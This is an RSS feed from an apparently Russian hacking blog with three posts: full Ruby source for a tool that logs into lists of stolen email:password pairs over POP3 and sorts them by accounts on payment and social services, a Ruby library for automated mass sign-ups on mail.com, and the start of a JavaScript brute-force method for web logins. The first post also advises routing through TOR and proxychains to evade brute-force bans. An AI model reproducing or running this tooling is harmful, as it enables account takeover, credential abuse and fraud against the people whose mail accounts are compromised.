<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; email</title>
	<atom:link href="http://blog.lukmus.ru/tag/email/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>сканирование e-mail&#8217;ов на аккаунты различных сервисов</title>
		<link>http://blog.lukmus.ru/2011/07/27/1038/</link>
		<comments>http://blog.lukmus.ru/2011/07/27/1038/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 07:06:16 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[скрипты]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[почта]]></category>
		<category><![CDATA[сканирование на аккаунты]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1038</guid>
		<description><![CDATA[В общем зашел разговор о том что делать с вагоном e-mail&#8217;ов после того как вы их взломали добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( сам разговор ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце [...]]]></description>
			<content:encoded><![CDATA[<p>В общем зашел разговор о том что делать с вагоном e-mail&#8217;ов после того как вы их <del datetime="2011-07-27T05:05:12+00:00">взломали</del> добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( <a rel="nofollow" href="http://forum.antichat.ru/thread285666.html">сам разговор</a> ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце расскажу как он работает.<br />
<img class="aligncenter size-full wp-image-1039" title="Талон_1990_Ленинград_2" src="http://blog.lukmus.ru/wp-content/uploads/2011/07/Талон_1990_Ленинград_2.jpg" alt="" width="517" height="320" /><br />
<span id="more-1038"></span></p>
<h2>суть вкратце</h2>
<p>Читаем поочередно из файла логины и пароли от почт, после чего заходим на них по POP3.</p>
<p>Далее проходимся по всем сообщениям и если это сообщение от нужного нам адреса, например Вконтакте.Ру (admin@vkontakte.ru), то добавляем этот логин в нужный список, удаляем из массива этого адресата и идем по его сообщениям дальше. Сканирование одной почты продолжается до тех пор пока не кончатся все адресаты или не закончатся сообщения в почте. Далее берем следующий e-mail.</p>
<h2>скрипт</h2>
<p>Скрипт написан на Ruby и работает как на версии 1.8, так и на 1.9. Пробовал его только на Linux, но подозреваю, что на Windows он тоже будет прекрасно работать.</p>
<h3>получение параметров и начальная настройка</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#!/usr/bin/ruby</span>
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'net/pop'</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">if</span> ARGV.<span style="color:#9900CC;">size</span>!=<span style="color:#006666;">3</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;&lt;infile&gt; &lt;logfile&gt; &lt;start no&gt;&quot;</span>
  <span style="color:#CC0066; font-weight:bold;">exit</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#ff6633; font-weight:bold;">$infile</span>,$logfile,$start_no=ARGV
<span style="color:#ff6633; font-weight:bold;">$start_no</span>=$start_no.<span style="color:#9900CC;">to_i</span>
&nbsp;
<span style="color:#ff6633; font-weight:bold;">$service</span>=<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'torrents.ru'</span>,<span style="color:#996600;">'tfile.ru'</span>,<span style="color:#996600;">'skype.com'</span>,
  <span style="color:#996600;">'ozon.ru'</span>,<span style="color:#996600;">'odnoklassniki.ru'</span>,<span style="color:#996600;">'smartpay.com.ua'</span>,
  <span style="color:#996600;">'vkontakte.ru'</span>, <span style="color:#996600;">'webmoney.ru'</span>,<span style="color:#996600;">'moneybookers.com'</span>,
  <span style="color:#996600;">'e-gold.com'</span>,<span style="color:#996600;">'e-port.ru'</span>,<span style="color:#996600;">'agava.ru'</span>,
  <span style="color:#996600;">'hoster.ru'</span>,<span style="color:#996600;">'dinohost.ru'</span>,<span style="color:#996600;">'eskhosting.ru'</span>,
  <span style="color:#996600;">'infobox.ru'</span>,<span style="color:#996600;">'zemskov.ru'</span>,<span style="color:#996600;">'art-host.ru'</span><span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

<p>Итак, скрипт получает в командной строке 3 параметра:</p>
<ol>
<li>файл, содержащий почты и пароли от них в формате <code>mail@example.ru:passwd</code>, причем каждая почта на новой строке</li>
<li>файл лога, сюда будут записываться все почты, к которым не удалось авторизоваться  и другие ошибки</li>
<li>номер почты в <code>$infile</code>, с которой нужно начать работу. Нумерация с нуля.</li>
</ol>
<p>Далее идет массив, содержащий сервисы на которые будут сканироваться аккаунты почт. Смысл здесь в домене т.е. сюда нужно добавлять домены с которых высылаются e-mail&#8217;ы этих сервисов.</p>
<h3>некоторые неключевые функции</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> exist<span style="color:#006600; font-weight:bold;">&#40;</span>str,file<span style="color:#006600; font-weight:bold;">&#41;</span>
  outf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>file,<span style="color:#996600;">'a'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  outf.<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{str}&quot;</span>
  outf.<span style="color:#9900CC;">close</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> log<span style="color:#006600; font-weight:bold;">&#40;</span>text,file<span style="color:#006600; font-weight:bold;">&#41;</span>
  logf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>file,<span style="color:#996600;">'a'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  logf.<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{text}&quot;</span>
  logf.<span style="color:#9900CC;">close</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{text}&quot;</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> check_letter<span style="color:#006600; font-weight:bold;">&#40;</span>head,service<span style="color:#006600; font-weight:bold;">&#41;</span>
  service.<span style="color:#9900CC;">each_with_index</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>se,i<span style="color:#006600; font-weight:bold;">|</span> <span style="color:#0000FF; font-weight:bold;">return</span> i <span style="color:#9966CC; font-weight:bold;">if</span> head.<span style="color:#9966CC; font-weight:bold;">include</span>?<span style="color:#006600; font-weight:bold;">&#40;</span>se<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#125;</span>
  <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Немного объясню функции:</p>
<ul>
<li><code>exist</code> &#8211; записывает аккаунт почты в файл одноименный с доменом сервиса, в случае если почта зарегистрирована в этом сервисе</li>
<li><code>log</code> &#8211; записывает сообщение в файл лога</li>
<li><code>check_letter</code> &#8211; проверяет заголовок письма на наличие домена сервиса, обходя массив сервисов. В случае если письмо отправлено от нужного домена возвращает индекс этого домена в массиве, в противном случае возвращает <code>-1</code>.</li>
</ul>
<h3>функция сканирования почты</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> check<span style="color:#006600; font-weight:bold;">&#40;</span>mail,pass,service<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#008000; font-style:italic;"># разбиваем почтовый адрес @, на логин и домен</span>
    login,pop_server=mail.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'@'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    pop_server=<span style="color:#996600;">'pop.'</span><span style="color:#006600; font-weight:bold;">+</span>pop_server
    count_reg=<span style="color:#006666;">0</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        pop=<span style="color:#6666ff; font-weight:bold;">Net::POP3</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span>pop_server<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> e
        <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">2</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># соединяемся с POP3-сервером</span>
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        pop.<span style="color:#9900CC;">start</span><span style="color:#006600; font-weight:bold;">&#40;</span>login,pass<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> e
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">begin</span>
    <span style="color:#008000; font-style:italic;"># обходим письма в почте</span>
    pop.<span style="color:#9900CC;">mails</span>.<span style="color:#9900CC;">each</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>msg<span style="color:#006600; font-weight:bold;">|</span>
        hed=msg.<span style="color:#9900CC;">header</span>
        STDOUT.<span style="color:#9900CC;">flush</span>
&nbsp;
        <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#006600; font-weight:bold;">&#40;</span>si=check_letter<span style="color:#006600; font-weight:bold;">&#40;</span>hed,service<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&gt;</span>=<span style="color:#006666;">0</span>
	  <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'!'</span> <span style="color:#008000; font-style:italic;">###</span>
          exist<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{mail}/#{pass}&quot;</span>,service<span style="color:#006600; font-weight:bold;">&#91;</span>si<span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
          <span style="color:#008000; font-style:italic;"># удаляем сервис из экземпляра</span>
          <span style="color:#008000; font-style:italic;"># индивидуального массива сервисов</span>
          <span style="color:#008000; font-style:italic;"># для данной почты</span>
          service.<span style="color:#9900CC;">delete_at</span><span style="color:#006600; font-weight:bold;">&#40;</span>si<span style="color:#006600; font-weight:bold;">&#41;</span>
          count_reg<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
          <span style="color:#9966CC; font-weight:bold;">if</span> service.<span style="color:#9900CC;">size</span>==<span style="color:#006666;">0</span>
            pop.<span style="color:#9900CC;">finish</span>
            <span style="color:#0000FF; font-weight:bold;">return</span> count_reg
          <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#if</span>
&nbsp;
        <span style="color:#9966CC; font-weight:bold;">else</span>
	   <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'.'</span>
	<span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#if</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#each</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#CC00FF; font-weight:bold;">EOFError</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">4</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#6666ff; font-weight:bold;">Timeout::Error</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#6666ff; font-weight:bold;">Net::POPError</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">5</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    pop.<span style="color:#9900CC;">finish</span>
    <span style="color:#0000FF; font-weight:bold;">return</span> count_reg
<span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#def</span></pre></td></tr></table></div>

<p>Тут следует кое-что учесть. Эта функция в самом своем начале разбивает e-mail адрес на логин @ домен, после чего адрес POP3-сервера получается из суммы &#8216;pop.&#8217;+домен.<br />
Такая схема работает для бесплатных обывательских почт типа: mail.ru, rambler.ru, yandex.ru, hotmail.com итд. Однако, если почта не от популярных сервисов бесплатных почт, то адрес POP3-сервера может быть какой угодно.<br />
Также нужно знать, если домен настроен, например, в услуге Яндекса &#8216;Почта для домена&#8217;, то логин будет равен адресу почты целиком, а не только его первая часть до собаки (@).</p>
<h3>обход исходного файла</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;">inf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>$infile,<span style="color:#996600;">'r'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
i=<span style="color:#006666;">0</span>
<span style="color:#008000; font-style:italic;"># крутим файл до заданной начальной строки</span>
<span style="color:#9966CC; font-weight:bold;">while</span><span style="color:#006600; font-weight:bold;">&#40;</span>i<span style="color:#006600; font-weight:bold;">&lt;</span>$start_no<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  str=inf.<span style="color:#CC0066; font-weight:bold;">gets</span>
  i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#008000; font-style:italic;"># построчно обходим файл</span>
<span style="color:#9966CC; font-weight:bold;">while</span> !inf.<span style="color:#9900CC;">eof</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  str=inf.<span style="color:#CC0066; font-weight:bold;">gets</span>.<span style="color:#CC0066; font-weight:bold;">chop!</span>
  <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">&quot;#{i})#{str} checking...&quot;</span> <span style="color:#008000; font-style:italic;">###</span>
  STDOUT.<span style="color:#9900CC;">flush</span>
  ret=check<span style="color:#006600; font-weight:bold;">&#40;</span>str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;:&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span>,str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;:&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>,$service<span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">to_i</span>
  <span style="color:#9966CC; font-weight:bold;">case</span> ret
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Unknow time is out #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">2</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Can't connect to the server #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Can't auth #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006666;">0</span>
      <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;FAIL #{str}&quot;</span>
    <span style="color:#9966CC; font-weight:bold;">else</span>
      <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{str} SUCCESS #{ret}&quot;</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
  i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
inf.<span style="color:#9900CC;">close</span></pre></td></tr></table></div>

<p>Ну тут все просто и примитивно.</p>
<h2>заключение</h2>
<p>Следует помнить, что доступ по POP3 вообще может быть отключен у почты, в этом случае почта будет добавлен в лог, как имеющая не верный пароль. Помимо этого если в списке много раз будет не проходить авторизация, то тот или иной POP3-сервер может забанить ваш IP за брутфорс, чтобы такого не было рекомендую запускать скрипт через известную связку TOR-Privoxy-Proxychains.</p>
<p>Целиком скрипт можно скачать тут - <a href="http://blog.lukmus.ru/wp-content/uploads/2011/07/check_mail_for_diff_accs.rb_.zip">check_mail_for_diff_accs.rb</a>.<br />
<meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2011/07/Талон_1990_Ленинград_2.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2011/07/27/1038/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AOL сошел с ума или авторегер на mail.com</title>
		<link>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/</link>
		<comments>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 00:20:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[AOL]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[mail.com]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[авторегер]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=230</guid>
		<description><![CDATA[Не понятно какие тараканы укусили админов AOL, но подконтрольный AOL&#8217;у сервис mail.com с какого-то перепуга отменил капчу при регистрации мыла. В связи с этим событием, с которым может сравнится только финал ЧМ-2010, в адекватности судьи которого, кстати, я не уверен и не признаю никакого другого ЧМ кроме Нидерландов,  я считаю просто необходимо написать авторегер под [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/aol.jpeg"><img class="size-full wp-image-231 alignleft" style="margin: 10px;" title="aol" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/aol.jpeg" alt="" width="224" height="106" /></a>Не понятно какие тараканы укусили админов AOL, но подконтрольный AOL&#8217;у сервис mail.com с какого-то перепуга отменил капчу при регистрации мыла.</p>
<p>В связи с этим событием, с которым может сравнится только  финал ЧМ-2010, в адекватности судьи которого, кстати, я не уверен и не признаю никакого другого ЧМ кроме Нидерландов,  я считаю просто необходимо написать авторегер под эту штуку.<span id="more-230"></span></p>
<p>Сам скрипт авторега я не написал еще, да думаю и не надо, каждый и сам сможет переписать выложенный здесь код под свои нужды. А написал я класс или точнее сказать скрипт-библиотеку, естественно на Ruby, который содержит все необходимые методы для регистрации мыла, быть может заисключением проверки адреса на существование.</p>
<p><strong>Сам скрипт</strong></p>
<blockquote><p>#!/usr/bin/ruby<br />
require &#8216;net/http&#8217;<br />
require &#8216;net/https&#8217;</p>
<p>def str2pc(str)<br />
if !str then return &#8220;|ERR=#{str}|&#8221; end<br />
i=0<br />
pc=&#8221;<br />
while i&lt;str.size do<br />
pc+=&#8221;%#{str[i].to_s(16)}&#8221;.upcase<br />
i+=1<br />
end<br />
return pc<br />
end</p>
<p>class Acc<br />
attr_accessor :login,:pass,:domain<br />
def initialize(login,pass,domain)<br />
@login=login<br />
@pass=pass<br />
@domain=domain<br />
@http=Net::HTTP.new(&#8216;signup.mail.com&#8217;, 443)<br />
@http.use_ssl = true<br />
@path=&#8217;/UserInformationB.aspx&#8217;<br />
end</p>
<p>def get_headers(refer)<br />
return headers = {<br />
&#8216;Cookie&#8217; =&gt; @cookie,<br />
&#8216;Referer&#8217; =&gt; refer,<br />
&#8216;Content-Type&#8217; =&gt; &#8216;application/x-www-form-urlencoded&#8217;,<br />
&#8216;User-Agent&#8217;=&gt; &#8216;Mozilla/5.0 Gecko/20090909 Windows NT 5.0/9&#8242;<br />
}<br />
end</p>
<p>def get_fst_cook<br />
begin<br />
resp, data = @http.get(@path, nil)<br />
@cookie = resp.response['set-cookie']<br />
@__VIEWSTATE=data.split(&#8220;__VIEWSTATE\&#8221; value=\&#8221;")[1].split(&#8220;\&#8221;")[0]<br />
@__EVENTVALIDATION=data.split(&#8220;__EVENTVALIDATION\&#8221; value=\&#8221;")[1].split(&#8220;\&#8221;")[0].gsub!(/([^a-zA-Z0-9])/){str2pc($1)}<br />
rescue<br />
return e<br />
end<br />
return 0<br />
end</p>
<p>def reg<br />
begin<br />
data = &#8220;__VIEWSTATE=#{@__VIEWSTATE}&amp;__EVENTVALIDATION=#{@__EVENTVALIDATION}&amp;hOptin=2&amp;hdCheckbox=1&amp;hdCampaignCheckbox=0&amp;RefenceCode=event01&amp;TrkID=0000&amp;FirstName=fdsjhfj&amp;LastName=jkvhfsdjk&amp;drpMonth=06&amp;drpDay=07&amp;drpYear=1975&amp;Username=#{@login}&amp;Domainname=#{@domain}&amp;Password=#{@pass}&amp;PasswordConfirm=#{pass}&amp;setpw=False&amp;SecQuestion=3&amp;SecAnswer=bhgfhgfhjfghgfhg&amp;Agreed=Create+Account&#8221;<br />
resp, data = @http.post(@path, data, self.get_headers(&#8216;https://signup.mail.com/UserInformationB.aspx&#8217;))<br />
@cookie = @cookie+resp.response['set-cookie']<br />
@path=resp['location']<br />
resp, data = @http.get(@path, self.get_headers(&#8216;https://signup.mail.com/UserInformationB.aspx&#8217;))<br />
@path=resp['location']<br />
resp, data = @http.get(@path, self.get_headers(&#8220;https://signup.mail.com/#{@path}&#8221;))<br />
rescue =&gt; e<br />
return e<br />
end<br />
return 0<br />
end<br />
end#class</p></blockquote>
<blockquote><p>#EXAMPLE<br />
accs=Acc.new(&#8220;test&#8221;,&#8221;example&#8221;,&#8221;california.usa.com&#8221;) #test@california.usa.com:example<br />
puts accs.get_fst_cook<br />
puts accs.reg</p></blockquote>
<p>Немного разберем скрипт.</p>
<p>Итак, он содержит 1 функцию &#8211; str2pc и класс Acc. str2pc преобразует символы в процент-код.</p>
<p><strong>Класс Acc</strong></p>
<ul>
<li>метод get_headers &#8211; возвращает заголовок пакета</li>
<li>метод get_fst_cook &#8211; получает необходимые кукисы и параметры для дальнейшей регистрации</li>
<li>метод reg &#8211; собственно сама регистрация</li>
</ul>
<p>Рассмотрим подробнее метод get_fst_cook. Он получает страницу регистрации /UserInformationB.aspx методом GET, а в месте с ней и первые кукисы. Далее парсит страницу на 2 необходимых параметра:</p>
<ol>
<li>__VIEWSTATE</li>
<li>__EVENTVALIDATION</li>
</ol>
<p>причем в __EVENTVALIDATION попутно заменяются все символы, неудовлетворяющие регулярному выражению ([^a-zA-Z0-9]) на процент-код.</p>
<p>Метод reg. Отправляет собственно сам POST-запрос регистрации, а затем 2 GET запроса на страницы /UserInformationB.aspx и той, на которую стоит переадресации в полученном пакете. Последний запрос не обязателен и регистрация пройдет и без него, однако он нужен если вы не хотите получить при входе на мыло страницу о успешной реги и прочей фигне.</p>
<p><strong>Как использовать класс</strong></p>
<p>Все очень просто и пример описан под комментарием #EXAMPLE:</p>
<ol>
<li>в конструкторе вводим логин, пароль и домен &#8211; accs=Acc.new(&#8220;test&#8221;,&#8221;example&#8221;,&#8221;california.usa.com&#8221;)</li>
<li>вызываем get_fst_cook, в случае ошибки возвращает текст ошибки, иначе 0 &#8211; accs.get_fst_cook</li>
<li>вызываем reg, в случае ошибки возвращает текст ошибки, иначе 0 &#8211; accs.reg</li>
</ol>
<p>Это все. Чтобы сделать из этой библиотеки полноценный авторегер особого ума не надо, и если же вы все-таки его сделаете незабудьте выложить в паблик.</p>
<p>Скачать скрипт в нормальном виде можно <a href="http://sharingmatrix.com/file/12315579/autoreg_mail.com.tar" target="_blank">здесь</a>.</p>
<p>P.S. хочу также сказать спасибо nonamez&#8217;у за его пост в его <a href="http://n0nz.info/" target="_blank">блоге</a>, где он поведал о плагине для FireFox Live HTTP Headers, без него было бы тяжко разбирать снифером HTTPS-пакеты. Статью можно прочитать <a href="http://n0nz.info/?p=36" target="_blank">здесь</a>.</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/nElrkQaKJmc&amp;hl=ru_RU&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/nElrkQaKJmc&amp;hl=ru_RU&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>экстравагантный способ перебора</title>
		<link>http://blog.lukmus.ru/2010/06/16/ekstravagantnyiy-sposob-perebora/</link>
		<comments>http://blog.lukmus.ru/2010/06/16/ekstravagantnyiy-sposob-perebora/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 23:20:07 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[arora]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[frame]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[брутфорс]]></category>
		<category><![CDATA[сбор адресов]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=19</guid>
		<description><![CDATA[Мой метод не претендует на рациональность, оптимальность, сверхбыстродействие итд, зато имеет в некотором роде универсальность. Этим способом можно перебирать все, что имеет веб-интерфейс и не имеет капчи. Способ заключается в следующем: создается примитивная html-страничка, с указанными в ней фреймами (2 и более). Фреймы ссылаються на страницу сайта, которого будем брутить и еще одну нашу страничку, [...]]]></description>
			<content:encoded><![CDATA[<p>Мой метод не претендует на рациональность, оптимальность, сверхбыстродействие итд, зато имеет в некотором роде универсальность.<br />
Этим способом можно перебирать все, что имеет веб-интерфейс и не имеет капчи.</p>
<p><strong>Способ заключается в следующем</strong>: создается примитивная html-страничка, с указанными в ней фреймами (2 и более). Фреймы ссылаються на страницу сайта, которого будем брутить и еще одну нашу страничку, содержащую javascript собственно самого переборщика.</p>
<p><strong>Принцип действия</strong>: страница, с javascript&#8217;ом, а точнее сам javascript будет подставлять в форму выбранного нами сайта данные для перебора.</p>
<p><span id="more-19"></span></p>
